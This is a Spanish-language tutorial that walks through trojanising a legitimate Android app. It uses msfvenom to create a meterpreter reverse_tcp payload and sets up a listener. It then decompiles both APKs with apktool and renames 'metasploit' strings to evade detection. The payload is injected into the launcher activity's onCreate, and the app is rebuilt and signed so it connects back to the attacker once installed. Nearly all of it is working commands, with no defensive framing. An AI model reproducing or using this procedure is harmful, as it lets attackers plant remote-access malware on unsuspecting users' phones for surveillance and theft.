Nota: todos los comandos están puestos de manera que los archivos a manejar se encuentren en el directorio de trabajo (root).
1. Crear la apk mala usando:
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=PUERTO -o NOMBREAPK.apk
2. Poner un terminal a escuchar:
set payload android/meterpreter/reverse_tcp
set LPORT IP
set LPORT PUERTO
exploit
Una vez hecho esto, habrá que descargar la apk a la que queremos meterle el troyano, y ejecutar lo siguiente tanto para esta como para la generada:
apktool d -f NOMBREAPK.apk
Se crearán 2 directorios, cada uno con la apk en cuestión descompilada.
El siguiente paso es opcional, en el sentido de que no estoy seguro si realmente influye a la hora de detectarlo.
Básicamente se busca en todos los ficheros la palabra "metasploit" y se sustituye por otra de vuestra elección (por lo visto es detectable si no se hace). Entramos en la siguiente ruta, dentro de la apk maliciosa:
cd DIRECTORIO_APK_MALICIOSA/smali/com/metasploit/stage/
O navegando con el explorador si es más comodo.
Se ejecuta el comando:
sed -i 's/metasploit/legit/g' *
Esto cambia cualquier aparición de "metasploit" por "legit" (se puede poner cualquier cosa).
Después, vamos a esta ruta:
cd /root/DIRECTORIO_APK_LEGAL/smali/com/
Una vez dentro, creamos un directorio con el mismo nombre que la palabra que hayamos usado en el paso anterior. En caso de no haberlo hecho, éste será "metasploit".
Ejecutar lo siguiente (sustituyendo legit por la palabra que se haya elegido antes o metasploit)
mkdir legit
cd legit
mkdir stage
cp /root/DIRECTORIO_APK_MALICIOSA/smali/com/metasploit/stage/* stage/
Con este último comando copiamos todo el contenido de la carpeta stage de la apk creada dentro de la carpeta stage de la apk descargada.
Vamos a la ruta de la apk descargada y abrimos AndroidManifest.xml con gedit (también se puede hacer manualmente):
cd /root/DIRECTORIO_APK_LEGAL
gedit AndroidManifest.xml
Una vez abierto, localizamos estas líneas:
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
Poco más arriba, aparecerá una etiqueta del tipo android:name:RUTA.FICHERO.
Accedemos al fichero especificado en esa ruta (cada punto separa un directorio):
cd smali/RUTA
gedit FICHERO.smali
Buscamos ";->onCreate(Landroid/os/Bundle;)V" y añadimos justo debajo: "invoke-static {p0}, Lcom/legit/stage/Payload;->start(Landroid/content/Context;)V" (SUSTITUYENDO NUEVAMENTE "legit" POR LO QUE TOQUE).
Vamos nuevamente al AndroidManifest.xml anterior y abrimos simultáneamente el AndroidManifest.xml de la apk maliciosa:
cd /root/DIRECTORIO_APK_LEGAL
gedit AndroidManifest.xml
En otro terminal:
cd /root/DIRECTORIO_APK_MALICIOSA
gedit AndroidManifest.xml
Ahora habrá que copiar todos los permisos del xml de la apk maliciosa (en etiquetas <uses-permission android:name="android.permission.PERMISO"/> ) y añadirlos al xml de la apk descargada, a continuación de los permisos que ya requiere. HABRÁ QUE BORRAR LOS PERMISOS REPETIDOS.
Imagen1
Imagen2
Se vuelve a compilar la apk:
cd /root
apktool b DIRECTORIO_APK_LEGAL
Imagen
Por último sólo queda firmar la aplicación. Me limito a poner los comandos:
keytool -genkey -v -keystore ~/.android/debug.keystore -alias androiddebugkey -storepass android -keypass android -keyalg RSA -keysize 2048 -validity 10000 (aquí dais intro a cada pregunta y a la última poneis "y").
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ~/.android/debug.keystore -storepass android -keypass android RUTA_APK_COMPILADA androiddebugkey
Sustituis RUTA_APK_COMPILADA por la apk que se ha generado usando apktool.
Imagen1
Imagen2
Ya solo queda instalar la apk y esperar a que conecte con el terminal a la escucha.